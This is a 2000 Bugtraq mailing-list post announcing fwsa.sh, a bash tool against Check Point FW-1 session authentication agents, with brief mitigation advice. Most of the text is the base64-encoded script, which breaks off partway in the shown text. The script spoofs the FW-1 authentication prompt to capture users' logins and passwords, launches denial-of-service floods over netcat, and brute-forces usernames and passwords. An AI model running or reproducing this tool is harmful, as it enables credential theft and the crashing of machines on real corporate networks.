[17072] in bugtraq
FW1 Session Auth exploit
daemon@ATHENA.MIT.EDU (gregory duchemin)
Fri Oct 6 04:43:27 2000
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="----=_NextPart_000_2c51_3870_5a8d"
Message-ID: <F147p3XV3ZUCDPEKJxO0000daa1@hotmail.com>
Date: Fri, 6 Oct 2000 05:05:47 GMT
Reply-To: gregory duchemin <c3rb3r@HOTMAIL.COM>
From: gregory duchemin <c3rb3r@HOTMAIL.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
This is a multi-part message in MIME format.
------=_NextPart_000_2c51_3870_5a8d
Content-Type: text/plain; format=flowed
hi,
fwsa.sh is a bash tool i wrote to implement all the security holes on FW1
session auth recently posted on the mailing list.
It can be used to make a DOS on every machine inside a corporate network,
eventually to crash them but its first goal remain to recover user password
by guessing it or asking for it.
the last method is far more efficient (and not logged).
actually all NT and windows 9.x boxes are vulnerables and for all version of
FW1 ( 4.1 sp2 included ) because the flaw doesn't actually reside into the
code on itself but come from a misconfiguration of both FW or agent.
( Not true for fw 4.0 that has no feature for session encryption )
Solutions are to not allow plain text password in agents properties while
using encryption in FW session authentication rules ( fw 4.1 )
Another expensive solution exists in the "one time passwords" but whatever u
choose, use encryption.
Gregory Duchemin
_________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.
Share information about yourself, create your own public profile at
http://profiles.msn.com.
------=_NextPart_000_2c51_3870_5a8d
Content-Type: application/x-sh; name="fwsa.sh"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="fwsa.sh"
IyEvYmluL2Jhc2gNCiMNCiMgRndzYSAoRlctMSBzZXNzaW9uIGF1dGgpLCB0
ZXN0ZWQgb24gbGludXggMi40LjAgYmV0YQ0KIyAoIFN3aXNzIGFybXkga25p
ZmUgZm9yIEZXLTEgU2Vzc2lvbiBhdXRoZW50aWNhdGlvbi4gKQ0KIw0KIyBz
dWNjZXNzZnVsbHkgdGVzdGVkIGFnYWluc3QgU2Vzc2lvbiBBdXRoZW50aWNh
dGlvbiBBZ2VudHMgNC4wICYgNC4xDQojIGFuZCBGaXJld2FsbC0xIG1vZHVs
ZSA0LjAgDQojDQojIHBsZWFzZSBkb24ndCB1c2UgaXQgZm9yIGFueSBpbGxl
Z2FsIGFjdGl2aXR5IGJ1dCBvbmx5IGZvciBlZHVjYXRpb25hbCBwdXJwb3Nl
cw0KIw0KIyAgICAgICAgIEdyZWdvcnkgRHVjaGVtaW4gICAoIGFrYSBjM3Ji
M3IgKQ0KIyANCiMgICAgIGZvciBoZWxwIG9yIGJ1ZyByZXBvcnQgPD09PiBj
M3JiM3JAaG90bWFpbC5jb20NCg0KIyAwY3RvYmVyIDIwMDANCg0KZnVuY3Rp
b24gVXNhZ2UoKQ0Kew0KZWNobw0KZWNobyAiIFVzYWdlOiAiJDAiIFRhcmdl
dHNfZmlsZXogIHR5cGVfb2ZfYXR0YWNrIFtGUUROIG5hbWVdIFtkaWN0IGZp
bGVdIFswLzEvMi8zXSINCmVjaG8NCmVjaG8gIj09PT09PT09PT09PT09PT1w
cm9vZiBvZiBjb25jZXB0IC8vIFZlcnNpb24gMS4wID09PSINCmVjaG8gIj09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PSINCmVjaG8NCmVjaG8gIiBOb3RlOiBUYXJnZXRzX2ZpbGV6IGlzIGEg
cGxhaW50ZXh0IGZpbGUgd2l0aCBhbGwgSVBzIHRvIGNoZWNrIg0KZWNobyAi
ICAgICAgIEkgcmVjb21tZW5kIHUgdG8gbWFrZSBpdCB3aXRoIHRoZSBoZWxw
IG9mIE5tYXAgIg0KZWNobyAiICAgICAgIFRyeSBubWFwIC1UIEluc2FuZSAt
c1MgLVAwIC1wIDI2MSBSQU5HRV9JUCB0byBsb29rIGZvciBsaXN0ZW5pbmcg
c2Vzc2lvbiBhZ2VudHMuIiANCmVjaG8gIiBOb3RlOiBUeXBlIG9mIGF0dGFj
ayBpcyAxIGZvciBwYXNzd29yZCByZWNvdmVyeSwgMiBmb3Igc3R1cGlkIERP
UywgMyBmb3IgIg0KZWNobyAiICAgICAgIGRhbmdlcm91cyBET1MgYW5kIDQg
Zm9yIGJydXRlZm9yY2luZyB1c2VycyBwYXNzd29yZCBvbiBGaXJld2FsbCIN
CmVjaG8NCmVjaG8gIiAgICAgICAqIHBhc3N3b3JkIHJlY292ZXJ5IHdpbGwg
dHVybiB5b3UgYmFjayB1c2VyIEZXMSBsb2dpbi9wYXNzd29yZCINCmVjaG8g
IiAgICAgICAqIHN0dXBpZCBET1MganVzdCBvcGVuIGEgY29ubmV4aW9uIGFu
ZCB3YWl0IGZvciBub3RoaW5nIg0KZWNobyAiICAgICAgICAgSXQnbGwgYmxv
Y2sgYWxsIG90aGVyIGNvbm5leGlvbiBhbmQgc28sIHVzZXIgYWNjZXNzLiIN
CmVjaG8gIiAgICAgICAqIGRhbmdlcm91cyBET1Mgd2lsbCBlbnRlciBhbiBp
bmZpbml0ZSBsb29wIHdpdGhpbiBpdCBzZW5kIGdhcmJhZ2UuIg0KZWNobyAi
ICAgICAgICAgV2lsbCBjcmFzaCBzb21lIHdlYWsgc3lzdGVtcy4gKCBmaW5k
IHdpY2ggb25lcyA7KSApICINCmVjaG8gIiAgICAgICAqIHBhc3N3b3JkcyBC
cnV0ZS1mb3JjZSB0cnkgdG8gZ3Vlc3MgdXNlcnMgcGFzc3dvcmQgb250byAi
DQplY2hvICIgICAgICAgICB0aGUgY29ycG9yYXRlIGZpcmV3YWxsLiBIYXZl
IHRvIHN1cHBseSBhbiBleHRlcm5hbCBhZGRyZXNzIGluIGZpbGV6Ig0KZWNo
byAiICAgICAgICAgdG8gZm9yY2UgZmlyZXdhbGwgdG8gY29ubmVjdCBvbiBs
b2NhbCBwb3J0ICggcG9ydCAyNjEgKS4iDQplY2hvDQplY2hvICIgTm90ZTog
RlFETiBuYW1lIGlzIEZ1bGx5IFF1YWxpZmllZCBEb21haW4gbmFtZSwgZGVm
YXVsdDpmaXJld2FsbCB1c2VkIGZvciBGVy0xICINCmVjaG8gIiBiYW5uZXIu
Ig0KZWNobyAiIE5vdGU6IENoYW5nZSB0aGUgaW50ZXJuYWwgdmFyaWFibGVz
IGZpbGV6IGFuZCBsb2dmaWxlIHRvIHN0b3JlIHlvdXIgc3RvY2sgaW50bywg
ZGVmYXVsdDpcIi4uLlwiIg0KZWNobyAiIE5vdGU6IHRoaXMgcHJvZ2d5IG5l
ZWRzIG5ldGNhdCB0byBuaWNlbHkgd29yay4iDQplY2hvIA0KZWNobyAiIEcw
MGQgSHVudCAhIg0KZWNobyANCmVjaG8gIiBhdXRob3I6ICBHcmVnb3J5IER1
Y2hlbWluICAoIGFrYSBjM3JiM3IgKSINCmVjaG8gIiAgICAgICAgICAgICAg
ICAgICAgICAgICAgYzNyYjNyQGhvdG1haWwuY29tICINCmVjaG8gDQplY2hv
ICIgTjAgYzBweXJpZ2h0LCBmZWVsIGZyZWUgdG8gdXNlIG9yIG1vZGlmeSBp
dCBhcyB1IHdhbnQiDQplY2hvDQp9DQoNCnNpZ25hbF9oYW5kbGVyKCkNCnsN
CnN5bmMNCmVjaG8gDQplY2hvICJXYXJuaW5nOiB0YXJnZXQgYWJvcnRlZCwg
Y29udGludWluZyB3aXRoIG5leHQgb25lLi4uIg0KZWNobw0KZWNobw0KfQ0K
DQoNCmZpbHRlcmVkKCkNCnsNCmVjaG8NCmVjaG8gIkVycm9yOiB0YXJnZXQg
cG9ydCAyNjEgZG9lc24ndCByZXNwb25kIg0KZWNobyAiICAgICAgIGl0IHNo
b3VsZCBiZSBiZWNhdXNlIHRhcmdldCBpcyBmaWx0ZXJpbmcgb3IgaXMgZG93
bi4iIA0KZWNobyAiICAgICAgIEFueXdheSwgdHJ5IGFnYWluIHNwb29maW5n
IGZpcmV3YWxsIGFkZHJlc3MuIg0KZWNobyAiICAgICAgIEFycHRvb2wgc2hv
dWxkIGJlIGhlbHBmdWxsIHRvIGRvIHRoZSBqb2IiDQplY2hvDQp9DQoNCmNs
b3NlZCgpDQp7DQplY2hvDQplY2hvICJFcnJvcjogdGFyZ2V0IHBvcnQgMjYx
IGlzIGNsb3NlZCINCmVjaG8gIiAgICAgICBjb250aW51aW5nIHdpdGggbmV4
dCBpcC4iIA0KZWNobw0KZWNobw0KfQ0KDQpzaW1wbGVfZG9zKCkNCnsNCmZv
ciBpIGluICRpcDsgZG8gDQplY2hvDQplY2hvICIqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiINCmVjaG8gIkxhdW5j
aGluZyBzdHVwaWQgRE9TIGF0dGFjayBhZ2FpbnN0ICIkaSIgISINCmVjaG8g
IioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqIg0KZWNobw0KZWNobw0Kew0Kc2xlZXAgJHRpbWVvdXQgDQpzeW5jDQp9
fCBuYyAtbiAtdyAyIC12ICRpIDI2MSA+ICRsb2dmaWxlIDI+JjENCmlmIFsg
YGF3ayAneyBwcmludCAkNyB9JyAkbG9nZmlsZWAgPSAicmVmdXNlZCIgXTsg
dGhlbg0KY2xvc2VkDQplbHNlDQppZiBbIGBhd2sgJ3sgcHJpbnQgJDcgfScg
JGxvZ2ZpbGVgID0gInRpbWVkIiBdOyB0aGVuDQpmaWx0ZXJlZA0KZmkNCmZp
DQpkb25lDQpybSAkbG9nZmlsZQ0KZWNobw0KZWNobyAiRE9TIHRlcm1pbmF0
ZWQuICggSG9wZSBpdCdzIG9rKSINCmVjaG8NCn0NCg0KDQpkYW5nZXJvdXNf
ZG9zKCkNCnsNCmZvciBpIGluICRpcDsgZG8gDQplY2hvDQplY2hvICIqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqIg0KZWNobyAiTGF1bmNoaW5nIGRhbmdlcm91cyBET1MgYXR0YWNrIGFn
YWluc3QgIiRpIiAhIg0KZWNobyAiKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKiINCmVjaG8NCmVjaG8NCnsN
CnNsZWVwICR0aW1lb3V0IA0KY2F0IC9kZXYvcmFuZG9tDQp9fCBuYyAtbiAt
dyAyIC12ICRpIDI2MSAgPiAkbG9nZmlsZSAyPiYxDQppZiBbICQoIGF3ayAn
eyBwcmludCAkNyB9JyAkbG9nZmlsZSkgPSAicmVmdXNlZCIgXTsgdGhlbg0K
Y2xvc2VkDQplbHNlIA0KaWYgWyAkKGF3ayAneyBwcmludCAkNyB9JyAkbG9n
ZmlsZSkgPSAidGltZWQiIF07IHRoZW4NCmZpbHRlcmVkDQpmaQ0KZmkNCmRv
bmUNCnJtICRsb2dmaWxlDQplY2hvDQplY2hvICJET1MgdGVybWluYXRlZC4g
KCBIb3BlIGl0J3Mgb2spIg0KZWNobw0KfQ0KDQoNCnBhc3N3b3JkX3JlY292
ZXJ5KCkNCnsNCmZvciBpIGluICRpcDsgZG8gDQplY2hvDQplY2hvICIqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKiINCmVjaG8gIkxhdW5jaGluZyBGVzEgcGFzc3dvcmQgcmVjb3Zlcnkg
YWdhaW5zdCAiJGkiICEiDQplY2hvICIqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiINCmVjaG8NCmVjaG8N
CnsNCnNsZWVwICR0aW1lb3V0IA0Kc3luYyANCmNhdCAvZGV2L251bGwgPiAk
bG9nZmlsZQ0KZWNobyAiMjIwIEZXLTEgU2Vzc2lvbiBBdXRoZW50aWNhdGlv
biBSZXF1ZXN0IGZyb20gIiRuYW1lDQplY2hvICIyMTEgMjUzMTQxNzMyIDE5
ODggMzkzMTQyNDY0NCA4MCA1Ig0KZWNobyAiMzMxIFVzZXI6Ig0Kc3luYw0K
IyBzeW5jaHJvbmlzYXRpb24gb2YgYnVmZmVycyBhbmQgZGlza3MgIA0Kd2hp
bGUgWyAhIC1zICRsb2dmaWxlIF07IGRvIA0KIyB3YWl0aW5nIGZvciB1c2Vy
IGluZm8gc3VwcGx5IGluIGxvZ2ZpbGUgDQpzbGVlcCAxDQpkb25lDQp1c2Vy
PSQoY2F0ICRsb2dmaWxlKQ0KDQplY2hvICIzMzEgKkZpcmV3YWxsLTEgcGFz
c3dvcmQ6Ig0KDQp3aGlsZSBbIGB3YyAtbCAkbG9nZmlsZXxhd2sgJ3sgcHJp
bnQgJDEgfSdgIC1lcSAxIF07IGRvDQpzbGVlcCAxDQpkb25lDQpzZWQgJ3Mv
JyR1c2VyJy8vJyAkbG9nZmlsZSB8IHNlZCAnLy4vLCQhZCcgPiAuL3RtcA0K
cGFzc3dvcmQ9JChjYXQgLi90bXApDQpybSAuL3RtcA0KZWNobyAiMjAwIFVz
ZXIgJHVzZXIgYXV0aGVudGljYXRlZCBieSBGaXJld2FsbC0xIGF1dGhlbnRp
Y2F0aW9uLiINCmVjaG8gIjIzMCBPSyINCnNsZWVwIDINCmVjaG8gPj4gJGZp
bGV6DQplY2hvID4+ICRmaWxleg0KZWNobyAiPT09PT0gUGFzc3dvcmQgcmVj
b3ZlcnkgPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT0iID4+ICRmaWxleg0KZWNobyAiPT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT0iID4+ICRmaWxleg0KZWNobyAiIFRhcmdldCA8PT0+ICRpIiA+PiAkZmls
ZXogDQplY2hvID4+ICRmaWxleiANCmVjaG8gIiBVc2VybmFtZSA8PT0+ICR1
c2VyICAgIFBhc3N3b3JkIDw9PT4gJHBhc3N3b3JkIiA+PiAkZmlsZXoNCmVj
aG8gPj4gJGZpbGV6IA0KZWNobyA+PiAkZmlsZXogDQpleGl0IDANCn18IG5j
ICAtbiAtdyAyIC12ICRpIDI2MSAgPiAkbG9nZmlsZQ0KaWYgWyAtZiAuL3Rt
cCBdOyB0aGVuDQpybSB0bXANCmZpDQpkb25lDQppZiBbIC1mICRsb2dmaWxl
IF07IHRoZW4NCnJtICRsb2dmaWxlDQpmaQ0KZWNobw0KZWNobyAiRG9uZS4g
KCBzZWUgIiRmaWxleiIgdG8gcmVhZCBzdG9sZW4gaW5mb3JtYXRpb25zKSIN
CmVjaG8NCn0NCg0KDQoNCnBhc3N3b3JkX2JydXRlZm9yY2UoKQ0Kew0KZm9y
IGkgaW4gJGlwOyBkbyANCg0KDQplY2hvDQplY2hvICIqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiINCmVj
aG8gIkxhdW5jaGluZyBGVzEgcGFzc3dvcmQgQnJ1dGVGb3JjZSBhdHRhY2sg
Ig0KZWNobyAiKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioiDQplY2hvDQplY2hvDQoNCg0KaWYgWyAtcyAk
bG9nZmlsZSBdOyB0aGVuDQpjYXQgL2Rldi9udWxsID4gJGxvZ2ZpbGUNCmZp
DQoNCiMgV2UgdXNlIGFzIG1hbnkgY2hhciBzdHJpbmcgYXMgdGhlcmUgYXJl
IGluIHBhc3N3b3JkIGJlY2F1c2UNCiMgbW9zdCBvZiB0aGUgdGltZSwgYWRt
aW4gd29uJ3QgdXNlIGEgInJlYWwiIHJhbmRvbSBnZW5lcmF0b3IgYnV0IA0K
IyBhIHByb2dyYW0gdGhhdCB1c2UgYSBiYXNpYyBzY2hlbWUuDQojIGlmIHUg
dW5kZXJzdGFuZCB0aGlzIHNjaGVtZSBhbmQgbW9kaWZ5IHRoZSBzdHJpbmcg
YmVsb3csIHUgc2hvdWxkIGJlIGFibGUgdG8gaW5jcmVhc2Ugc2lnbmlmaWNh
bnRseSB5b3VyIGNoYW5jZXMgb2Ygc3VjY2VlZC4gIA0KIyBpZiBwYXNzd29y
ZHMgaW4geW91ciBjb21wYW55IGFyZSBsZXNzIHRoYW4gOCBjaGFycywgY29t
bWVudCB1c2VsZXNzIGxpbmVzIA0KDQojIHBhc3N3b3JkIHNjaGVtZToNCiMg
Zm9yIGluc3RhbmNlLCBmaXJzdCBsZXR0ZXIgY291bGQgYmUgdXBwZXJjYXNl
ICggQSBvciBIIHN0cmluZyBkZXBlbmRpbmcgb24gb3JkZXIgYnl0ZSApLg0K
IyBpbml0aWFsIHZhbHVlcyBhcmUgY29tbWVudGVkDQoNCiNBPSdhIGIgYyBk
IGUgZiBnIGggaSBqIGsgbCBtIG4gbyBwIHEgciBzIHQgdSB2IHcgeCB5IHog
QSBCIEMgRCBFIEYgRyBIIEkgSiBLIEwgTSBOIE8gUCBRIFIgUyBUIFUgViBX
IFggWSBaIDEgMiAzIDQgNSA2IDcgOCA5IDAnDQpBPSdBIEIgQyBEIEUgRiBH
IEggSSBKIEsgTCBNIE4gTyBQIFEgUiBTIFQgVSBWIFcgWCBZIFonDQoNCkI9
J2EgYiBjIGQgZSBmIGcgaCBpIGogayBsIG0gbiBvIHAgcSByIHMgdCB1IHYg
dyB4IHkgeiBBIEIgQyBEIEUgRiBHIEggSSBKIEsgTCBNIE4gTyBQIFEgUiBT
IFQgVSBWIFcgWCBZIFogMSAyIDMgNCA1IDYgNyA4IDkgMCcNCkM9J2EgYiBj
IGQgZSBmIGcgaCBpIGogayBsIG0gbiBvIHAgcSByIHMgdCB1IHYgdyB4IHkg
eiBBIEIgQyBEIEUgRiBHIEggSSBKIEsgTCBNIE4gTyBQIFEgUiBTIFQgVSBW
IFcgWCBZIFogMSAyIDMgNCA1IDYgNyA4IDkgMCcNCkQ9J2EgYiBjIGQgZSBm
IGcgaCBpIGogayBsIG0gbiBvIHAgcSByIHMgdCB1IHYgdyB4IHkgeiBBIEIg
QyBEIEUgRiBHIEggSSBKIEsgTCBNIE4gTyBQIFEgUiBTIFQgVSBWIFcgWCBZ
IFogMSAyIDMgNCA1IDYgNyA4IDkgMCcNCkU9J2EgYiBjIGQgZSBmIGcgaCBp
IGogayBsIG0gbiBvIHAgcSByIHMgdCB1IHYgdyB4IHkgeiBBIEIgQyBEIEUg
RiBHIEggSSBKIEsgTCBNIE4gTyBQIFEgUiBTIFQgVSBWIFcgWCBZIFogMSAy
IDMgNCA1IDYgNyA4IDkgMCcNCkY9J2EgYiBjIGQgZSBmIGcgaCBpIGogayBs
IG0gbiBvIHAgcSByIHMgdCB1IHYgdyB4IHkgeiBBIEIgQyBEIEUgRiBHIEgg
SSBKIEsgTCBNIE4gTyBQIFEgUiBTIFQgVSBWIFcgWCBZIFogMSAyIDMgNCA1
IDYgNyA4IDkgMCcNCkc9J2EgYiBjIGQgZSBmIGcgaCBpIGogayBsIG0gbiBv
IHAgcSByIHMgdCB1IHYgdyB4IHkgeiBBIEIgQyBEIEUgRiBHIEggSSBKIEsg
TCBNIE4gTyBQIFEgUiBTIFQgVSBWIFcgWCBZIFogMSAyIDMgNCA1IDYgNyA4
IDkgMCcNCkg9J2EgYiBjIGQgZSBmIGcgaCBpIGogayBsIG0gbiBvIHAgcSBy
IHMgdCB1IHYgdyB4IHkgeiBBIEIgQyBEIEUgRiBHIEggSSBKIEsgTCBNIE4g
TyBQIFEgUiBTIFQgVSBWIFcgWCBZIFogMSAyIDMgNCA1IDYgNyA4IDkgMCcN
CnsNCiMgd2Ugc2VuZCBhIHByb2JlIHRvIGFueXdoZXJlIGluIHRoZSB3b3Js
ZCBwb3J0IDgwIChvciB3aGF0ZXZlciBmdyBydWxlcyBhbGxvdyksIHdhaXRp
bmcgZm9yIEZXIGFuc3dlciANCm5jIC13IDIgLW4gJGkgODAgPiAvZGV2L251
bGwgMj4mMQ0KDQojIHdhaXRpbmcgZm9yIGludml0YXRpb24gY2FsbGVyICAN
CmdyZXAgMzMxICRsb2dmaWxlID4gL2Rldi9udWxsDQp3aGlsZSBbICQ/IC1l
cSAxIF07IA0KZG8gDQpncmVwIDMzMSAkbG9nZmlsZSA+IC9kZXYvbnVsbA0K
ZG9uZQ0KDQojIHdlIHRyeSBub3cgb3VyIGxvZ2luIG5hbWVzIHVudGlsIHdl
IGdldCBiYWNrIHRoZSBtYWdpYyBjb29raWUNCiMgYWN0dWFsbHkgd2UgcmVh
ZCBsb2dpbiBuYW1lcyBpbiBhIGZpbGUsIGl0IHNob3VsZCBiZSBtb3JlIGVm
ZmljaWVudCBzaW5jZSBtb3N0IG9mIGFkbWlucyB1c2UgcmVhbCBuYW1lcy4N
CiMgdSBjYW4gdXNlIGJydXRlIGZvcmNlIHRvIGd1ZXNzIGxvZ2luIGluIHRo
ZSBzYW1lIG1hbm5lciB3ZSB1c2UgaXQgZm9yIHBhc3N3b3Jkcy4NCiMgaW4g
dGhpcyBjYXNlLCBqdXN0IGNoYW5nZSB0aGUgZmV3IGxpbmVzIGJlbG93IHRv
IHVzZSBjaGFycyBzdHJpbmdzIGZyb20gMSB1cCB0byA4IGxvb3BzLg0KDQpm
b3IgdXNlciBpbiAkdXNlcm5hbWUNCmRvDQpjYXQgL2Rldi9udWxsID4gJGxv
Z2ZpbGUNCnN5bmMNCmVjaG8gJHVzZXINCg0KIyA1MzAgZWcgTk9UT0ssIGVy
cm9yIHJlc3BvbnNlDQojIGZ3MSBzZXNzaW9uIGF1dGhlbnRpY2F0aW9uIHJl
cGx5IHdpdGggYW4gZXJyb3IgY29kZSBpZiB1c2VybmFtZSBkb2Vzbid0IGV4
aXN0LCB0aGF0J3MgYSBmbGF3IGluIGl0c2VsZi4NCg0Kc2xlZXAgJHRpbWVv
dXQgDQoNCmdyZXAgNTMwICRsb2dmaWxlID4gL2Rldi9udWxsDQppZiBbICQ/
IC1lcSAxIF07IHRoZW4NCmVjaG8gIj09PT09IFBhc3N3b3JkIEJydXRlIGZv
cmNlID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09IiA+PiAkZmlsZXoNCmVjaG8gIj09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
IiA+PiAkZmlsZXoNCmVjaG8gPj4gJGZpbGV6DQplY2hvID4+ICRmaWxleg0K
ZWNobyAiIGxvZ2luIG9rIDoiJHVzZXIgPj4gJGZpbGV6DQplY2hvID4+ICRm
aWxleg0KZWNobyA+PiAkZmlsZXoNCmVjaG8gJHVzZXIgPj4gLi8udXNlcnMN
CnN5bmMNCmNvbnRpbnVlDQpmaQ0KZG9uZQ0KDQppZiBbICEgLWYgLi8udXNl
cnMgXTsgdGhlbiANCmV4aXQNCmZpDQoNCnRhcmdldHM9YGNhdCAuLy51c2Vy
c2ANCnJtIC4vLnVzZXJzDQogDQojIE5vdyBpdCdzIHRpbWUgIHdlIHRyeSB0
byBndWVzcyBwYXNzd29yZCBmb3IgdGhpcyB1c2VyDQojIGlmIHBhc3N3b3Jk
cyBpbiB5b3VyIGNvbXBhbnkgYXJlIGxlc3MgdGhhbiA4IGNoYXJzLCBjb21t
ZW50IHVzZWxlc3MgbG9vcHMuDQoNCg0KZm9yIHVzZXIgaW4gJHRhcmdldHMN
CmRvDQogDQpmb3IgaTggaW4gJEggDQpkbw0KZm9yIGk3IGluICRHDQpkbw0K
DQojIHRoaXMgcnVsZSBpcyBvcHRpb25hbA0KaWYgWyAkaTcgPSAkaTggXTsg
dGhlbg0KY29udGludWUNCmZpDQoNCmZvciBpNiBpbiAkRg0KZG8NCg0KIyB0
aGlzIHJ1bGUgaXMgb3B0aW9uYWwNCmlmIFsgJGk2ID0gJGk3IF07IHRoZW4N
CmNvbnRpbnVlDQpmaQ0KDQpmb3IgaTUgaW4gJEUNCmRvDQoNCiMgdGhpcyBy
dWxlIGlzIG9wdGlvbmFsDQppZiBbICRpNSA9ICRpNiBdOyB0aGVuDQpjb250
aW51ZQ0KZmkNCg0KZm9yIGk0IGluICREIA0KZG8NCg0KIyB0aGlzIHJ1bGUg
aXMgb3B0aW9uYWwNCmlmIFsgJGk0ID0gJGk1IF07IHRoZW4NCmNvbnRpbnVl
DQpmaQ0KDQpmb3IgaTMgaW4gJEMNCmRvDQoNCiMgdGhpcyBydWxlIGlzIG9w
dGlvbmFsDQppZiBbICRpMyA9ICRpNCBdOyB0aGVuDQpjb250aW51ZQ0KZmkN
Cg0KZm9yIGkyIGluICRCDQpkbw0KDQojIHRoaXMgcnVsZSBpcyBvcHRpb25h
bA0KaWYgWyAkaTIgPSAkaTMgXTsgdGhlbg0KY29udGludWUNCmZpDQoNCmZv
ciBpMSBpbiAkQQ0KZG8NCg0KIyB0aGlzIHJ1bGUgaXMgb3B0aW9uYWwNCmlm
IFsgJGkxID0gJGkyIF07IHRoZW4NCmNvbnRpbnVlDQpmaQ0KDQoNCiMgd2Fp
dGluZyBmb3Igc2VydmVyDQoNCmdyZXAgMzMxICRsb2dmaWxlID4gL2Rldi9u
dWxsDQp3aGlsZSBbICQ/IC1lcSAxIF07DQpkbyANCmdyZXAgMzMxICRsb2dm
aWxlID4gL2Rldi9udWxsDQpkb25lDQoNCg0KIyBvcmRlciBpcyBmZXRjaGVk
IGJ5IHRoZSB1c2VyIChzZWUgdXNhZ2UpLCBhbmQgbWF5IGJlIHVzZWZ1bGwg
Zm9yIG11bHRpLXByb2Nlc3MgYnJ1dGVmb3JjZS4NCg0KaWYgWyAkb3JkZXIg
LWVxIDAgXTsgdGhlbg0KZWNobyAkaTEkaTIkaTMkaTQkaTUkaTYkaTckaTgN
CiMgZm9yIGRlYnVnZ2luZyBwdXJwb3NlDQplY2hvICJ0cnlpbmcgJGkxJGky
JGkzJGk0JGk1JGk2JGk3JGk4IiA+PiAkZmlsZXoNCmVsc2UNCmlmIFsgJG9y
ZGVyIC1lcSAxIF07IHRoZW4NCmVjaG8gJGkxJGk3JGk2JGk1JGk0JGkzJGky
JGk4DQplY2hvICJ0cnlpbmcgJGkxJGk3JGk2JGk1JGk0JGkzJGkyJGk4IiA+
PiAkZmlsZXoNCmVsc2UNCmlmIFsgJG9yZGVyIC1lcSAyIF07IHRoZW4NCmVj
aG8gJGkxJGk1JGk4JGkyJGk0JGk3JGkzJGk2DQplY2hvICJ0cnlpbmcgJGkx
JGk1JGk4JGkyJGk0JGk3JGkzJGk2IiA+PiAkZmlsZXoNCmVsc2UNCmVjaG8g
JGkxJGkyJGk0JGk3JGk4JGkzJGk2JGk1DQplY2hvICJ0cnlpbmcgJGkxJGky
JGk0JGk3JGk4JGkzJGk2JGk1IiA+PiAkZmlsZXoNCmZpDQpmaQ0KZmkNCnN5
bmMgDQp1c2xlZXAgJHV0aW1lb3V0IA0KDQojIDIzMCBlZyBPSywgcGFzc3dv
cmQgaXMgY29ycmVjdCANCg0KZ3JlcCAyMzAgJGxvZ2ZpbGUgPiAvZGV2L251
bGwNCmlmIFsgJD8gLWVxIDAgXTsgdGhlbg0KZWNobyA+PiAkZmlsZXoNCmlm
IFsgJG9yZGVyIC1lcSAwIF07IHRoZW4NCmVjaG8gInBhc3N3b3JkIG9rIDoi
JGkxJGkyJGkzJGk0JGk1JGk2JGk3JGk4ID4+ICRmaWxleg0KZWxzZQ0KaWYg
WyAkb3JkZXIgLWVxIDEgXTsgdGhlbg0KZWNobyAicGFzc3dvcmQgb2sgOiIk
aTgkaTckaTYkaTUkaTQkaTMkaTIkaTEgPj4gJGZpbGV6DQplbHNlDQppZiBb
ICRvcmRlciAtZXEgMiBdOyB0aGVuDQplY2hvICJwYXNzd29yZCBvayA6IiRp
OCRpNSRpMSRpMiRpNCRpNyRpMyRpNiA+PiAkZmlsZXoNCmVsc2UNCmVjaG8g
InBhc3N3b3JkIG9rIDoiJGkyJGkxJGk0JGk3JGk4JGkzJGk2JGk1ID4+ICRm
aWxleg0KZmkNCmZpDQpmaQ0KZWNobyA+PiAkZmlsZXoNCmVjaG8gPj4gJGZp
bGV6DQpleGl0DQpmaQ0KDQojIHdlIHIgc3VwcG9zZWQgdG8gcmVpbmplY3Qg
dXNlcm5hbWUgZWFjaCB0aW1lLCB0aGlzIG9uZSB3ZSBqdXN0IGRpc2NvdmVy
ZWQNCiMgYnV0IGNvbm5leGlvbiBpcyBzdGlsbCBhbGl2ZSB0aGF0J3MgdGhl
IG1ham9yIGZsYXcuDQoNCmdyZXAgMzMxICRsb2dmaWxlID4gL2Rldi9udWxs
DQp3aGlsZSBbICQ/IC1lcSAxIF07DQpkbyANCmdyZXAgMzMxICRsb2dmaWxl
ID4gL2Rldi9udWxsDQpkb25lDQoNCmVjaG8gJHVzZXINCmRvbmUNCmRvbmUN
CmRvbmUNCmRvbmUNCmRvbmUNCmRvbmUNCmRvbmUNCmRvbmUNCg0KZG9uZQ0K
fXwgbmMgIC1uICAtbCAtcCAyNjEgID4gJGxvZ2ZpbGUgMj4mMQ0KDQojaWYg
WyAtZiAkbG9nZmlsZSBdOyB0aGVuDQojcm0gJGxvZ2ZpbGUNCiNmaQ0KZG9u
ZQ0KZWNobw0KZWNobyAiRG9uZS4gKCBzZWUgIiRmaWxleiIgdG8gcmVhZCBz
dG9sZW4gaW5mb3JtYXRpb25zKSINCmVjaG8NCn0NCg0KDQoNCmlmIFsgJCMg
LWx0IDIgXTsgdGhlbg0KVXNhZ2UNCmV4aXQNCmZpDQoNCm5jIC1oICA+IC9k
ZXYvbnVsbCAyPiYxDQppZiBbICEgJD8gLWVxIDEgXTsgdGhlbg0KVXNhZ2UN
CmVjaG8NCmVjaG8NCmVjaG8gIkVycm9yOiAiJDAiIG5lZWRzIG5ldGNhdCB0
